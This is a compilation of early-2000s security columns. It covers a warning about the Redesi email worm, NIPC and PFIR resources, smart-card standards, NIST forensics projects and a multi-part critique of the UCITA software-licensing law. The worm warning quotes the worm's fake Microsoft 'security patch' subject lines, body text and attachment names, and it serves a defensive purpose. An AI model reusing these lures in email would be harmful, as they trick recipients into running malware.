The Redesi worm (aka Dark Machine, DarkMachine, W32/Ucon) uses a particularly vicious form of disguise: it pretends to be a security patch or virus warning, thus playing on understandable nervousness about malicious software.

The subject line is randomly generated from a list that includes the following (not including the * character):

* FW: Emergency response from Microsoft Corp
* FW: Important news from Microsoft
* FW: IT departments on state of HIGH ALERT
* FW: Microsoft security update
* FW: Microsoft Update. Final Release Candidate
* FW: New computer virus
* FW: Security Update by Microsoft
* FW: Stop terrorists computer viruses reign
* FW: Terrorist Emergency. Latest virus can wipe disk in minutes
* FW: Terrorists release computer virus

The message itself reads, "Just recieved [sic] this in my email I have contacted Microsoft and they say it's real! Due to the recent spate of e-mail spread computer viruses Microsoft Corp. has released a security patch. Please apply the attached file to your Windows computer to stop any further spread or these malicious programs. Regards Microsoft Support"

A variant uses a different strategy: it uses a misleading subject line such as (not including the * character):

* A new type of Lager / Weed variant..... sorted !
* hell is coming for u, u will be sucked into a bottomless pit!!! -- Gaz
* I don't want to write anything but Si is bullying me. -- Jim
* I want to live in a wooden house -- Arwel
* Kev Gives great orgasms to ladeez!! -- Kev
* Michelle still owes me ú10 ... shit ! -- Si
* My dad not caring about my exam results -- by Michelle
* Scientists have found traces of the HIV virus in cows milk...here is the proof -- Will
* Why have I only got cheese and onion crisps? I hate them !! -- Si
* Yay. I caught a fish -- Si

The latter variant uses this body text: "heh. I tell ya this is nuts ! You gotta check it out !"

Attachments for both variants include the following:

* common.exe
* disk.exe

* rede.exe
* si.exe
* userconf.exe

Opening the attachment executes the payload, which includes the following functions:

* Worm sends itself to contacts in the recipient's Microsoft Outlook Address Book; infects operating system;
* Opens Windows dialog box showing that "the update was successful;"
* Attempts to reformat hard drives on Windows 9X or Windows ME machines on 11 November because of code inserted into the AUTOEXEC.BAT file.

Actions:
* Remind all users on your network NOT to open ANY executable e-mail attachments or any unsolicited or unexpected attachments of any kind;
* Explain that no legitimate security tool is ever distributed by e-mail, without a date, without a digital signature, and bypassing normal administrative controls;
* Don't open mail that appears to be arriving in your in-box by mistake (i.e., with someone else's name or a stranger's name on what seems to be personal correspondence);
* Delete unopened unwanted attachments from both the Inbox and the Deleted Items file;
* Keep your antivirus software up to date, preferably without user intervention.

For more information on this worm, see your antivirus vendor's site or

NIPC Provides Valuable Services

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The National Infrastructure Protection Center (NIPC) was established in February 1998 with the mission of serving "as the U.S. government's focal point for threat assessment, warning, investigation, and response for threats or attacks against our critical infrastructures. These infrastructures, which include telecommunications, energy, banking and finance, water systems, government operations, and emergency services, are the foundation upon which our industrialized society is based." The Web site < http://www.nipc.gov/about/about.htm > is packed with useful information for network managers, whether involved in critical infrastructure or not.

NIPC supports information sharing among government, law enforcement, academia and business. It supports the InfraGard program that has been growing throughout the United States with the help of local FBI offices; as the Secretary of the Vermont InfraGard, I have been delighted to see the growth in participation in our meetings since the initial discussions a year ago. See < http://www.infragard.net/ > for more information about that program.

NIPC provides three levels of warnings about threats to the infrastructure: Assessments (awareness materials), Advisories (recommendations for security improvements) and Alerts (news about specific attacks in progress or anticipated soon). These documents may be received by e-mail subscription at no cost and are available on the Web < http://www.nipc.gov/warnings/warnings.htm >.

In addition, NIPC offers free security publications < http://www.nipc.gov/publications/publications.htm >, mostly in Acrobat PDF, including the CyberNotes < http://www.nipc.gov/cybernotes/cybernotes.htm >, which are published every two weeks and which provide an excellent summary of top-priority issues in our field. Archives of all the issues are available online.

On the page marked "Legal Issues" < http://www.nipc.gov/legal/legal.htm >, NIPC provides summaries of important computer crime laws, guidelines on searching and seizing computers, and some pointers to resources on information security education and training, including "Safety Tips for Kids on the Internet."

The Major Investigations page < http://www.nipc.gov/investigations/investigations.htm > gives details of the most current arrest and prosecution of computer criminals. At this writing, there is a fascinating account from the 14th of August 2001 of the arrest of two Khazak nationals arrested in London and charged with breaking into the "Bloomberg computer system in Manhattan in an attempt to extort money from Bloomberg."

NIPC Incident Reports < http://www.nipc.gov/incident/incident.htm > are a method for systematically describing a computer security incident and submitting your report to the NIPC and the FBI. In addition to serving a useful function in keeping law enforcement up to date on the current situation, these reports can serve internally as a model for all incident reporting,

whether transmitted to external agencies or not. I must emphasize, however, that the value of contributing to the common stock of knowledge about computer security breaches is greater than ever due to the apprehended threat of cyberattack on resources of the United States and other countries in the wake of military action against terrorists worldwide. Please do your part as good corporate citizens to keep America strong by reporting computer crimes promptly.

PFIR Radio

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

People For Internet Responsibility (PFIR, < http://www.pfir.org >) was founded in 1999 by two highly respected and experienced Internet professionals, Lauren Weinstein and Peter G. Neumann, creators and moderators of the PRIVACY Forum < http://www.vortex.com/privacy > and the RISKS Forum < http://catless.ncl.ac.uk/Risks >, respectively.

PFIR focuses on difficult decisions affecting "domain name policy, spam, security, encryption, freedom of speech issues, privacy, content rating and filtering" and others to come. The moderators are voices of reason in an ocean of ill-considered babble.

The interesting and provocative position papers offered from their home page include the following:

* Terrorism, Civil Liberties, and the Internet (23-September-2001)
* Top-Level Domain "Ghettoization" Proposals (9-Mar-2001)
* The Coming Electoral Blackout? (20-Jan-2001)
* Proposal for a Representative Global Internet Policy Organization (6-Dec-2000)
* Government Interception of Internet Data (7-Sep-2000)
* Internet Hoaxes and Misinformation (28-Aug-2000)
* Internet Policies, Regulations, and Control (23-Jul-2000)
* Electronic Signatures and Documents (updated 1-Jul-2000)

Recently, PFIR announced a Fact Squad < http://www.pfir.org/factsquad-announce > "to cut through hype, spin, misinformation, and propaganda regarding technological issues and their effects upon society." They have now begun a multimedia component: the "Fact Squad Radio" service < http://www.factsquad.org/radio >. These one-minute features focus on "a single relevant topic of importance" and are suitable even for non-technical listeners.

I listened to the first item < http://www.factsquad.org/radio >, which deals with national ID cards. Lauren Weinstein, sometimes heard on National Public Radio, has an excellent delivery and speaks so naturally that he's fun to listen to. I found the number of sound ideas he managed to present in a single minute to be amazing.

I hope that Weinstein and Neumann will consider posting even longer items -- perhaps as discussions between the two of them or as interviews of other luminaries.

I think that network managers and everyone else concerned with the direction of technology policy in the United States (and indeed, the world) should look at the PFIR site and sample the rich wares on offer there.

Smart Card Standards

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Smart cards have their own security standard now. These credit-card sized cards with embedded microprocessors can be used for identification and authentication of all kinds, including financial transactions. The development of international standards will encourage wider use of these valuable tokens for security applications.

Smart cards are currently used for many applications. For example, one-time password generators such as the SecurID (see http://www.rsa.com/products/securid/) allow security administrators to dispense with the nuisance of password management; each password lasts between one to three minutes and cannot be used thereafter. Users remember a simple personal identification number and don't have to worry as much about remembering strong passwords. In addition, token-based authentication allows users to detect possible compromise of their tokens at once: they find out they've lost them the next time they need them.

Electronic cash systems such as the Mondex product (see http://www.mondexusa.com/html/content/technolo/technolo.htm) allow users to load their smart cards with cash from their bank account and then to use their device to pay for goods and services as if they were using cash. The unique identifiers managed by the Mondex card microprocessors allow secure exchange of money without having to keep a record of the purchaser's identity during the transaction -- just like cash. In addition, because the microprocessors validate each other directly, there is no need for intermediary, remote validation services that often take time and cost money.

Until now, there have been no international standards for evaluating the security of such smart-card systems. However, according to the latest news from the National Institute of Standards and Technology (NIST), NIST and the National Security Agency (NSA), which run the National Information Assurance Partnership (NIAP), "have issued an evaluation certificate on a formal set of smart card security requirements. These specifications will allow manufacturers to have their smart cards tested to ensure they meet certain security standards. Smart cards have to be protected against hackers because they contain computerized information."

The Smart Card Security Users Group (SCSUG) includes big players in the financial field, including American Express, Europay International, JCB, MasterCard International, Mondex International and Visa. The group used the Common Criteria framework (ISO/IEC 15408) to develop formal standards for defining the security characteristics of smart cards.

The proposed standards were evaluated by a commercial testing laboratory and then validated by NIST and NSA under the NIAP Common Criteria Evaluation and Validation Scheme.

NIST announced that, "The development and evaluation of smart card security requirements represents a successful industry-government partnership contributing to the security of information systems and networks in the United States and around the world."

* * *

Research & Development in Forensics Tools (1)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The November _ITL BULLETIN_ from the Information Technology Laboratory at the National Institute of Standards and Technology (NIST) offers exciting news about two research and development projects in computer forensics: the National Software Reference Library (NSRL) project and the Computer Forensics Tool Testing (CFTT) project.

Gary E. Fisher of the Software Diagnostics and Conformance Testing Division reports that these multi-agency projects are working towards improvements in computer forensics -- the tools and techniques for extracting information from the computers of victims and suspects in ways that preserve the data's usefulness in possible trials of accused perpetrators. Fisher writes, "The NSRL provides a set of reference data that can be used to reduce the number of files that have to be reviewed or examined during an investigation. This can significantly cut down on the amount of time required to gather and verify evidence in crimes involving computers."

Forensic examiners generally examine all the files -- often many thousands -- on any computer system that is being analyzed for evidence of a crime or of a non-criminal breach of security. They also examine slack space (unused space in the last clusters of files) and in free space (sectors that have been returned to the free list for a disk but which may contain vestiges of files erased from the file directory or file allocation table).

Because thousands of the files on a typical system are system or program files (as opposed to files created or modified by a user), investigators often waste hundreds of hours looking at data that are devoid of useful information for their investigation. The NSRL offers a sound basis for automating the investigation by letting the forensic experts ignore irrelevant files and thus plunge into the materials more likely to be useful. Much like anti-virus products, the NSRL has developed methods for creating _signatures_ of standard files so that forensic programs can be designed to set known files aside and list only likely candidates for examination.

The NSRL has been collecting variations and versions commercial software, shareware, and freeware for over 18 months. Each file is passed through several cryptographic hash algorithms that ensure that even a single bit of difference between two programs is likely to produce different hashes. The set of hashes ensures that it is almost impossible for two files that are in fact different to have the same set of hashes.

The resulting database of program names, origins and hashes are distributed on CD-ROM from NIST's Standard Reference Data Office as Special Database #28 < http://www.nist.gov/srd/nistsd28.htm >.

In addition to speeding investigations by forensic examiners, the database of fingerprints will allow other applications; e.g., identifying pirated software or other intellectual property. System administrators, for example, will be able to identify such products even if they are renamed; they

will also be able to use such tools to identify possible Trojan Horse modifications of system files. Another application might be to spot unauthorized or illegal images that have been disguised as system files; their computed fingerprints won't match the database values. Finally, the tools will offer opportunities to identify missing files, perhaps deleted by malefactors to hide traces of unauthorized or illegal activity.

* * *

In the next column in this pair of reports, we'll look at the Computer Forensics Tool Testing (CFTT) project.

* * *

Research & Development in Forensics Tools (2)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the first of two short reports on recent developments in forensic software, we looked at the National Software Reference Library (NSRL) project described in the ITL BULLETIN from the National Institute of Standards and Technology (NIST) Information Technology Laboratory. In this report, we look at the Computer Forensics Tool Testing (CFTT) project.

* * *

Tools that are supposed to achieve a particular analytical purpose – e.g., intrusion detection software, firewalls, and antivirus products – need to be tested to see how well they work. Testing requires standards, and that's what CFTT is designed for.

NIST has defined a framework for testing computer forensics tools which allows product developers and users to

* classify functions and requirements;

* specify details of these functional characteristics and user requirements; and

* define tests for measuring how well specific tools meet those standards.

Currently, project efforts are focused on disk imaging software. Disk imaging tools are critically important in preserving the chain of custody over evidence; with suitable affidavits, these bit-for-bit copies of hard disk drives are burned onto CD-ROMs so that the courts can have impeccable copies of the original data with no grounds for questioning their accuracy. Other projects for the future include password crackers (which help investigators access password-protected systems and files) and image-analysis tools (useful in locating information hidden by _steganography_ inside pictorial files).

The development process is highly interactive, with subject area experts involved at every step. Interim results are posted to the CFTT Website (http://www.cftt.nist.gov) for discussion and suggestions. The current disk imaging specification (version 3.1.1) was posted for comment to < http://www.cftt.nist.gov/teststat.html > on 13 July 2001.Eventually, specific forensic product test results will be published by the National Institute of Justice.

* * *

This kind of work illustrates the value of public-private partnerships in high technology. The NIST initiatives might be very difficult for any individual company to launch, and industry consortia can be cumbersome, in part because of competitive pressures and fears of being seen as a cartel in violation of anti-trust regulations. In addition, these NIST projects are breaking new

ground in an increasingly important area of computing: forensic analysis. As computer crime and abuse increases in our ever-more computerized society, law enforcement personnel and private investigators need to be able to track down and, if appropriate, prosecute malefactors.

Best wishes to the NIST team and their collaborators for continued progress!

UCITA (1): Background

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The Uniform Computer Information Transactions Act was developed by the National Conference of Commissioners on Uniform State Laws. This proposed general format for state laws covering software licenses and other aspects of electronic commerce has generated controversy ever since it was introduced in 1999. The UCITA potentially has serious ramifications for network and security managers for software acquisition budgets, support costs, privacy, and denial-of-service (DoS) attacks.

In this short series, I will summarize the basics, summarize arguments by proponents and opponents, and comment on the situation.

* * *

In July 1999, the National Conference of Commissioners on Uniform State Laws (NCCUSL) approved the controversial UCITA (Uniform Computer Information Transactions Act) proposal that would create common licensing rules for software and other IT transactions.

UCITA legislation in individual states (henceforth generically referred to as "UCITA") would regulate the sale and licensing of computer software, databases, online information, multimedia and other intellectual property presented in electronic form. The UCITA is sometimes described as a general commercial statute for cyberspace. UCITA-inspired legislation has been introduced to or passed by state legislatures in 15 states and the District of Columbia (complete list at http://www.bmck.com/ecommerce/ucitacomp.htm).

Among other protections for vendors, the UCITA provides for

* rigid enforcement of shrink-wrapped licenses even though the buyer may not see or agree to the terms until after the software has been purchased;

* banning reverse engineering of proprietary software;

* allowing vendors to shut down software remotely if they suspect a violation of the licensing terms;

* easier disclaimer of written warranties.

Currently, UCITA is strongly supported by such organizations as the Software & Information Industry Association and by some software vendors such as Microsoft. It is strongly opposed by such organizations as the American Library Association (ALA), Association for Computing Machinery (ACM), Computer Professionals for Social Responsibility (CPSR), Electronic Frontier Foundation (EFF), the Institute of Electrical and Electronics Engineers (IEEE) and by twenty-six state attorneys general.

* * *

In part 2, I'll summarize the arguments presented by supporters of UCITA.

* * *

UCITA (2): PRO

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

"UCITA was originally intended to be a revision to the Uniform Commercial Code (UCC), which has been adopted in almost all of the states and territories of the U.S. and which ensures consistent rules governing contract law from state to state. . . . Publishers and large software producers are the primary supporters of UCITA." -- American Library Association, "What is UCITA?" < http://www.ala.org/washoff/ucita/what.html >

[Before summarizing the arguments presented in favor of UCITA, I want it clear that on balance, I oppose the UCITA. However, based on previous sad experience, I must respectfully request that the more excitable readers among you NOT shower me with abuse for presenting arguments with which I _disagree_.]

Proponents of the UCITA make the following key points:

1) The issue: growth in e-business has outdated existing contract law dealing with intellectual property. The absence of clear guidelines makes it difficult to frame end-user license agreements (EULAs) in a uniform way from state to state. Conflicts between end-users and software and other content producers have been resolved through expensive and time-consuming civil tort proceedings. Standardization will reduce the cost of doing business and will therefore encourage small businesses to expand successfully into interstate commerce, free of the burden of having to worry about wildly varying laws in different jurisdictions in the USA. In addition, software and information-content vendors will have the choice of law and choice of venue for all legal disputes concerning EULAs. By default, the applicable laws and the venue governing EULAs are those of the vendor.

2) _Shrink-wrap_ EULAs are those included inside the packages that consumers purchase; _click-wrap_ EULAs are electronically displayed during purchase transactions and are typically acceded to by clicking on a button on screen. The UCITA makes click-wrap EULAs enforceable and allows for a period following purchase during which users can return the product for a full refund if they disagree with the EULA terms.

3) "UCITA rejects the `perfect tender' rule for commercial licenses. One of the problems with Article 2 [of the Uniform Commercial Code] is that it requires delivery of goods that conform to the contract. Software is recognized as a product that cannot be made perfect and that it almost always will have bugs. . . . UCITA eliminates the perfect tender rule and replaces it with a substantial conformance standard. The perfect tender rule is retained for transactions involving consumers." -- SIIA "Summary of Benefits." < http://siia.net/sharedcontent/govt/issues/ucita/summary.html >

4) As explained above, UCITA makes it easier for software and information publishers to include legally-binding terms explicitly disclaiming responsibility for the damages caused by defective software or inaccurate "informational content." Such freedom will encourage risk-taking by vendors because they won't have to worry about legal entanglements when they sell defective products; the net effect will be greater innovation and therefore, ultimately, better

products and value for consumers.

5) The user interface is explicitly excluded from consideration as part of a computer program: "As used in this Act, `computer program' refers to functional and operating aspects of a digital or similar system, whereas `informational content' refers to material that communicates to a person." -- UCITA Official Comment 10 on Section 102. < http://www.law.upenn.edu/bll/ulc/ucita/ucita01.htm >

6) UCITA establishes a framework for enforcing contractual limitations on use of covered products. The SIIA document quoted in section (3) above reads, "For instance, if a license agreement is for a certain term, it is not a breach of the contract for the licensor to put something in the software that prevents use of the software after the term expires. Similarly, if the license allows only a certain number of users, it is not a breach of the contract to put something in the software that prevents more users from logging on to the software." In particular, vendors may include and enforce a gag rule on commercial purchasers of their products, reducing the annoyance and expense caused by public disclosure of such inevitable flaws as bugs and design flaws in purchased software. As Official Comment 3 to Section 105 has it, "While a term that prohibits a person from criticizing the quality of software may raise public policy concerns if included in a shrink-wrap license for software distributed in the mass market, a similar provision included in an agreement between a developer and a company applicable to experimental or early version software not yet perfected for the marketplace would not raise similar concerns."

7) UCITA-based legislation may attract high-technology business to those states that pass such laws. "Such benefits could include helping to foster e-commerce within the state and becoming a magnet for emerging companies seeking an e-commerce-friendly location." -- Priscilla A. Walter, "UCITA: Establishing a legal infrastructure for e-commerce." < http://www.siia.net/sharedcontent/govt/issues/ucita/upgrade-may.html >

* * *

In part 3 of this series, I will summarize at opposition to the UCITA.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. Application Software and Security

by Gary C. Kessler

Mich Kabay writes: My friend and colleague Prof. Gary Kessler is the Program Director of the Computer Networking major at Champlain College in Vermont < http://neworking.champlain.edu/ > and chair of the Vermont InfraGard chapter < http://www.vtinfragard.org >. He always has interesting thoughts about practically everything, and today I am offering you his thoughtful and throught-provoking essay on the long-term security implications of the software we choose.

* * *

I [Gary Kessler] was in a discussion recently with a colleague in my college's Web Design major. I was venting frustration with Web designers who build their pages using features only supported by one browser (invariably Internet Explorer). "When I was a baby programmer," I snorted, "we designed code for the ease of the user not the ease of the developer." His retort was that IE got market share and Navigator lost market share because the folks at Netscape didn't add support of all of the fancy bells and whistles that Microsoft did.

This conversation and countless similar ones have been simmering in my overheated brain for a while and it dawned on me that the problem is as much application as it is operating system. And the bottom-line is this question: We all talk a good security story, but do we practice what we preach and do we put our money where our mouths are?

Let me focus for now on Microsoft network applications. All companies that use these application make a specious argument about "productivity" versus security. But if you really care about information security, how can you justify using products that seem to have a never-ending stream of security vulnerabilities, are subject to frequent attacks by Bad Guys, and are common attack vectors for viruses, worms, and other exploits – all this trouble to enhance user productivity? There are other products to enhance user productivity that don't have this lamentable history of security failures.

As an example, why do so many sites use Outlook when it is known to be hard to secure, rarely used in a secure fashion anyway, and is a major target of attacks? When one considers the features needed by most users, there are many other clients that provide equivalent functionality (including a shared calendar function).

The same can be said about the Internet Information Service software. IIS is not the best nor most feature-rich Web server -- nor is it the only free one. It is, however, susceptible to the most HTTP attacks and recent advisories warn us about vulnerabilities with... the Microsoft extensions to HTTP. So tell me again, why are we using IIS?

I am not bashing Microsoft; I am merely reporting the headlines. In fact, there are probably a number of good reasons to use Outlook and/or IIS. All too often, however, these applications are used for no other reason than because they are there or because they came recommended by a consultant – usually one who also sells and/or supports this software.

What I am suggesting is that we take the precepts of defense-in-depth seriously and seriously

consider the equivalent of biodiversity, as well. Microsoft has long claimed that the computer world and cyberspace would be safer with monolithic software; i.e., operating system, browser, and application suites all from the same source. But I would suggest that the exact opposite provides the best possible defense. Ecosystems with a diverse set of organisms are more stable than monocultures.

I have been fortunate to date in that I have never had a virus problem on one of my own personal systems. Or, put another way, I have been careful and vigilant. Although I usually use a Microsoft Windows operating system, I employ network applications, anti-virus software, and personal firewall software all from different vendors -- even though this sometimes costs money. And just as biodiversity protects forests and farm crops from the devastating effects of a species-specific disease, I avoided getting smacked by Code Red, Nimda, Klez, and BugBear. A large number of my all-Microsoft colleagues have not been as lucky.

So I really do have a point. Security takes time and money -- but not as much as some would make you think. It makes no sense to use software just because it is "free" if it comes with a very high hidden cost and is, in fact, inferior to alternatives. And if we always take the path of least resistance, using software merely because it shipped with the operating system rather that choosing the best software for our given tasks, we will eventually end up with no software choice at all.

UCITA (3): CON

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The Uniform Computer Information Transactions Act was developed by the National Conference of Commissioners on Uniform State Laws. This proposed general format for state laws covering software licenses and other aspects of electronic commerce has generated controversy ever since it was introduced in 1999. The UCITA potentially has serious ramifications for network and security managers for software acquisition budgets, support costs, privacy, and denial-of-service (DoS) attacks.

This article summarizes key arguments against the UCITA.

* * *

1) Changing the model for software use from purchase to licensing has implications for long-term budgeting and control of such products. For example, more products can be licensed to stop working at the end of a contract period.

* Although there is nothing inherently improper in negotiating such contracts, there will be cases where users will want to continue using a specific version of an application program even if the vendor wants to push them to a newer version.

* Resistance may be justified by compatibility reasons or because the users do not choose to upgrade their hardware or operating systems. Licenses could forbid them from continuing to use a discontinued product or unsupported version.

* In addition, licensing in the world of servers and mainframes has always had problems associated with unilateral increases in license and support costs, sometimes including steep price rises when a user upgrades a system or increases the maximum number of concurrent users.

2) "Licensing" instead of "selling" software removes such purchases from state protection against unfair and deceptive trade practices. Even though "Most consumers think that they are buying a consumer product when they pay money for software," UCITA creates "confusion about the scope of existing consumer laws. . . [and] . . . fails to extend analogous consumer protection to mass-market software contracts that are functionally like other consumer product transactions, despite new legal labels." -- Jean Braucher, "UCITA: Objections from the consumer perspective." < http://www.cpsr.org/program/UCITA/braucher.rtf >

3) Allowing vendors to reveal contract details for shrink-wrapped software _after_ a consumer has purchased a license to a product makes comparison shopping difficult or impossible by individuals. Having committed money to a particular choice, individuals are less likely to go to the trouble of packing up their software and returning it for a refund. Why shouldn't there be a copy of the contract available as a tear-off sheet at all distributors or online?

4) Reducing penalties available to aggrieved customers who have suffered damage from bad

software or bad information makes it less likely that vendors will spend money improving quality assurance: "UCITA makes it too easy for software publishers to avoid facing any legal consequences for defective software. Perhaps this is appropriate for some defects, but not for the ones the publisher knew about when it sold the product. Customers can't discover most of these defects with quick trials of the program -- it takes skill to find them during pre-use testing. By reducing the responsibility of software publishers to detect and eliminate problems before the product is released to the public, UCITA will result in the lowering of standards in our profession." -- Barbara Simons, "Letter from the President of the ACM re UCITA, July 12, 1999" < http://www.acm.org/usacm/IP/usacm-ucita.html >.

5) The proposed laws go a long way towards protecting vendors against the wrath of consumers confronted with bugs and design flaws, but there is no equivalent protection of consumers: UCITA fails to require vendor disclosure even of _known_ defects.

6) To the rebuttal that a free market can deal with such problems through free choice by consumers, opponents retort that the free market is hardly improved by terms that restrict the free flow of information about products -- in particular, legal bans on critical discussion of software flaws by commercial customers and their employees as allowed in contracts under terms of the UCITA. Banning open discussion will inevitably have a chilling effect on the free flow of information, including publication of articles in technical publications. "By changing what would otherwise be considered a sale into a licensing transaction, UCITA permits software publishers to enforce contract provisions that may be onerous, burdensome or unreasonable, and places on the purchaser the burden and cost of proving that these provisions are unconscionable or `against fundamental public policy.' Examples of these provisions include prohibitions against public criticism of the software and limitations on purchasers' rights to sell or dispose of software. The first provision prohibits the reviews, comparisons, and benchmark testing that are critical for an informed, competitive marketplace. The second issue could legally complicate transactions including corporate mergers/ acquisitions, sales of small businesses, the operation of businesses dealing in second-hand software, and even yard sales." -- IEEE-USA Board of Directors, "Opposing adoption of the . . . [UCITA]. . . ." < http://www.ieeeusa.org/forum/POSITIONS/ucita.html >

7) UCITA reduces the value of used software by making it possible to bar resale of uninstalled software products, thus reducing competition for new products.

8) UCITA makes it possible to choose a venue for legal proceedings entirely at the choice of the vendor; for example, a vendor could choose to have a hearing in Florida if a customer in Alaska sued for redress. Such arbitrary unilateral power makes it easier to discourage lawsuits even over legitimate consumer grievances.

9) The language of UCITA raises serious questions about the consequences of reverse engineering of commercially licensed software. Reverse engineering -- studying a product, including its compiled code, to understand how it works -- is essential to identify flaws and suggest corrections. It is also important to support interoperability of products from different makers. UCITA allows language that could make such study legally impossible.

10) The classification of the user interface as information rather than as part of the computer program itself is a transparent attempt to limit product liability. The user interface is not equivalent to, say, information presented in a document; it is an integral and critical component

of all computer programs that require user input and produce human-readable output. Errors in the interface are potentially more serious than errors in information (e.g., a typographical error in output) and should not be insulated from legal redress.

* * *

In the fourth and concluding article in this series, I will discuss present a scenario illustrating how UCITA could transform a network manager's work into a nightmare.

UCITA (4): Action

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The previous three articles in this series have reviewed the Uniform Computer Information Transactions Act (UCITA) and common arguments for and against this model legislation. This article presents a nightmare scenario based on UCITA.

* * *

It is the year 2006. Jamal is the network manager for a company with 10,000 PCs running Fenestration YQ2, an older version of the Fenestration operating system (the current version Fenestration YQ4). In 2003, Mocraherd, the software supplier, changed the terms of the software license so that each license expires after one year; to renew the license, Jamal's company has to pay a renewal fee -- or the operating system shuts down for good and the company has to purchase completely new licenses at a higher price. Now Mocraherd has told Jamal that he is required to upgrade to YQ5 within the next couple of months or lose his corporate licenses altogether.

The problem is that the new Fenestration YQ5 that's being advertised requires over 2 GB of free disc space for the operating system upgrade and a minimum of 512MB of RAM plus a 2.0 GHz processor as minimum configurations -- and upgrading the company's computers would cost at least $500 each. Including the cost of upgrading to YQ5 ($50 per system), that makes a total cost of around $5,500,000 -- not including the cost of labor and downtime. Worse still, reports in the underground press (it's a violation of license to publish or read any material that is critical of Mocraherd or Fenestration version using Mocraherd products) indicate that the new YP version takes four hours to install, fails in a third of the installations, and does not support the type of printer, external removable hard drives, or scanners that Jamal has installed on half his systems.

Jamal's options are limited. He knows that Fenestration YQ2 includes spyware that automatically reports on the states of all machines where it has been installed; he knows because in several cases, changing defective mother boards on some downed PCs resulted in complete shutdown of the operating system. Jamal's staff had to call Mocraherd and get permission to reactivate the OS using a new license code. Then all the installed Mocraherd products stopped working, so his staff spent hours on the phone to Mocraherd waiting for new activation codes for each computer. Jamal tried stopping the spyware from reaching the Internet using personal firewalls as well as the corporate firewall, but the Macroherd software eventually shut down when it could no longer receive encrypted continued-operation codes from Mocraherd.

Unfortunately, Jamal's staff consists of only 50 support staff for the 10,000 computers in the network; he simply does not see how they are going to install updates to all the computers in the company in a reasonable time. Worse still, the new Fenestration YQ5 OS does not run the old version of the Officious product suite (Verb word processor, Punctuate display software, Crunch spreadsheet and Excess database) and files created with the new version of the Officious suite are not usable by the old Officious products.

Jamal decides to investigate alternatives to running Mocraherd programs altogether. He scans a few articles online about possible competitors using the Mocraherd Internet Exploder browser; as far as he can see, the costs of conversion would be prohibitive and the range of programs is inadequate to replace the Mocraherd programs. In addition, ever since Mocraherd started suing companies for making their products and file formats interoperable with those used by the software giant, competing companies are withdrawing products and going bankrupt.

An hour later, he receives a legal writ via e-mail warning him that he has violated the terms of his software license by accessing sites which are hostile to the interests of Mocraherd. Then his computer shuts down due to a remote signal from the Mocraherd Web site. Because the corporate license covers all the computers in the company, all the other computers shut down within minutes too. Finally, the electrical power, telephone, and HVAC (heating, ventilation and air-conditioning) computers shut down too even though all of them are running on separate licenses of Fenestration YQ2. No matter: an error in the programming on the Macroherd servers automatically assumes that all computers that are colocated are on the same license.

Jamal waits in the dark and wonders what to do next.

* * *

From the license for FrontPage 2002: "`You may not use the Software in connection with any site that disparages Microsoft, MSN, MSNBC, Expedia, or their products or services . . . ' the license reads in part." -- Ed Foster, "A punitive puppeteer?" < http://www.infoworld.com/articles/op/xml/01/09/17/010917opfoster.xml >

Windows Update checks the Microsoft site every five minutes and alerts users when critical updates are available; in order to tell if such updates are required, each system reports on its configuration so the server process can tell if it needs changes. This process cannot be stopped once it starts (short of uninstalling the product). The Microsoft Knowledge Base confirms that no user intervention is permitted: "Question: Can I change the scheduled behavior of Windows Critical Update Notification? Answer: No, if the scheduled task is modified, the tool reverts to the default settings the next time Windows Critical Update Notification runs. Note that this behavior is by design to ensure that you are notified of updates in a timely manner." < http://support.microsoft.com/support/kb/articles/Q224/4/20.ASP >

* * *

Whether what you have read so far about UCITA pleases you or horrifies you, go do your own research to see if this legislation will protect you and your corporate interests. Then contact your state law-makers to let them know your stand on this approach to contract law.

You already know my opinion. Now go make up your own minds.

UCITA (5): Recent Developments

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

On December 17, 2001, the UCITA Standby Committee of the National Conference on Commissioners on Uniform State Laws (NCCUSL) < http://www.nccusl.org > issued a report to their executive committee recommending changes to the draft Uniform Computer Information Transactions Act.

The Standby Committee's report explicitly acknowledged that, "The majority of the amendments were submitted by AFFECT, an organization comprised of diverse interest groups and some individual companies for the purpose of opposing UCITA." AFFECT is the Americans for Fair Electronic Commerce Transactions < http://www.4cite.org >.

In my opinion, the most significant changes to the draft of UCITA that will be sent to state legislatures in future are as follows:

1) UCITA does not supersede any consumer-protection laws in force and applicable to the purchase or licensing of software.
2) Software sold through mass-market distribution must not be inactivated by the vendor (the so-called "self-help" provisions of the previous version) in cases of breach of license or contract.
3) Software licenses for products distributed to the public in final form (i.e., not as test versions) cannot extinguish First-Amendment rights of consumers to discuss, report, or criticize flaws in those products.
4) Explicit recognition that UCITA "does not displace the law of fraud, misrepresentation and unfair and deceptive practices as they may relate to intentional failure to disclose defects that are known to be material."
5) Explicit rejection of open-source software licenses (and also shareware licenses) from UCITA coverage. UCITA applies only to transactions involving the exchange of money.
6) Reverse engineering is accepted as a legitimate method for ensuring interoperability of licensed software with other products.

AFFECT issued a press release on January 4, 2002 criticizing the proposed amendments. ". . . [T]he proposed amendments fall far short of what is necessary to resolve the many issues of controversy." According to AFFECT board member David McMahon, "The proposed amendments give the appearance of compromise, without the substance of compromise. When scrutinized, the proposed amendments simply make a fundamentally flawed piece of legislation only slightly less flawed."

AFFECT analysts point out that, among other issues,

- The UCITA revisions do not impose obligations on software vendors to reveal known flaws when selling software licenses.
- Librarians' concerns about restrictions on transfer of software licenses have not been

met because the revisions limit such transfers to programs already installed on donated computers.

